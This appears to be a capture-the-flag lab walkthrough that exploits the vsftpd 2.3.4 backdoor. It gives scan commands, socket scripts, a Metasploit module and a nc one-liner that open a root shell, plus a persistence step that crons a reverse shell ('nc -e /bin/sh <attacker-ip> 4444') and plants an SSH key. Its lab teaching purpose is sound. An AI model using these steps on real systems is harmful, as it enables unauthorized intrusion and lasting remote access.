A seemingly innocent FTP server harbors a dark secret - a malicious backdoor inserted by attackers who compromised the official distribution. The vulnerability lies dormant, waiting for the right trigger to unleash remote access. 🎯 Time to discover how compromised software can become your gateway to system control!
Launch your dedicated AWS machine to begin hacking
Begin by scanning the target to identify running services:
# Nmap service scan
nmap -Pn -sV -p21,6200 <target-ip>
# Expected output:
# 21/tcp open ftp vsftpd 2.3.4
# 6200/tcp filtered unknown
The scan reveals vsftpd 2.3.4 running on port 21. Port 6200 may appear filtered initially but becomes important later.
The vsftpd 2.3.4 backdoor was inserted by attackers who compromised the official distribution in July 2011. The backdoor is triggered when a username containing the string ":)" is used during FTP authentication.
Connect to the FTP service and trigger the backdoor using a malicious username:
# Connect to FTP service
ftp <target-ip>
# When prompted for username:
Username: user:)
Password: anything
# The login will fail, but backdoor activates
# Connect via telnet
telnet <target-ip> 21
# Send FTP commands:
USER user:)
PASS anything
# Connection may close, but backdoor is active
After triggering the backdoor, connect to the shell listener on port 6200:
telnet <target-ip> 6200
nc <target-ip> 6200
You should now have a shell prompt with system access.
Once connected to the backdoor shell, explore the system to locate the flag:
# Check current directory
pwd
# List files in current directory
ls -la
# Look for flag in common locations
find / -name "flag*" 2>/dev/null
find / -name "*.txt" 2>/dev/null | grep -i flag
# Check root directory
ls -la /root/
# Read the flag
cat /root/flag.txt
# Start Metasploit
msfconsole
# Use the exploit module
use exploit/unix/ftp/vsftpd_234_backdoor
# Set target
set RHOSTS <target-ip>
# Run exploit
exploit
# Get shell session
sessions -i 1
# Create exploit script
import socket
# Trigger backdoor
s = socket.socket()
s.connect(('<target-ip>', 21))
s.send(b'USER user:)\r\n')
s.send(b'PASS pass\r\n')
s.close()
# Connect to shell
s2 = socket.socket()
s2.connect(('<target-ip>', 6200))
# Check if backdoor is active
nmap -Pn -p6200 <target-ip>
# Should show port 6200 as open
# after triggering the backdoor
# Connect immediately
nc <target-ip> 6200
The backdoor code in sysdeputil.c shows how the vulnerability works:
# Trigger detection in str.c:
if((p_str->p_buf[i]==0x3a) && (p_str->p_buf[i+1]==0x29))
{
vsf_sysutil_extra(); // Calls backdoor function
}
# Backdoor function in sysdeputil.c:
int vsf_sysutil_extra(void)
{
int fd, rfd;
struct sockaddr_in sa;
// Creates socket on port 6200
sa.sin_port = htons(6200);
// Binds and listens
// Accepts connections and spawns shell
execl("/bin/sh","sh",(char *)0);
}
Issue | Cause | Solution |
---|---|---|
Port 6200 not opening | Backdoor not triggered | Ensure username contains ":)" exactly |
Connection refused on 6200 | Timing issue | Wait a few seconds after FTP login attempt |
Shell not responsive | Connection timeout | Try multiple connection attempts |
FTP login succeeds | Wrong vsftpd version | Verify target is running vsftpd 2.3.4 |
# Bash one-liner
(echo 'USER user:)'; echo 'PASS pass'; sleep 2) | nc <target-ip> 21 && nc <target-ip> 6200
# Python automation
#!/usr/bin/env python3
import socket, time
s = socket.socket()
s.connect(('<target-ip>', 21))
s.send(b'USER user:)\r\n')
s.send(b'PASS pass\r\n')
s.close()
time.sleep(2)
s2 = socket.socket()
s2.connect(('<target-ip>', 6200))
# Once in shell, establish persistence
echo 'nc -e /bin/sh <attacker-ip> 4444' > /tmp/backdoor.sh
chmod +x /tmp/backdoor.sh
# Add to crontab
echo '* * * * * /tmp/backdoor.sh' | crontab -
# Or create SSH key
mkdir -p ~/.ssh
echo 'ssh-rsa AAAA...' > ~/.ssh/authorized_keys
The flag is typically located in the root directory:
# Navigate to root directory
cd /root
# List files
ls -la
# Read flag file
cat flag.txt
# Alternative search
find / -name "flag.txt" 2>/dev/null
cat $(find / -name "flag.txt" 2>/dev/null)
This vulnerability demonstrates several critical security concepts:
To prevent similar vulnerabilities:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.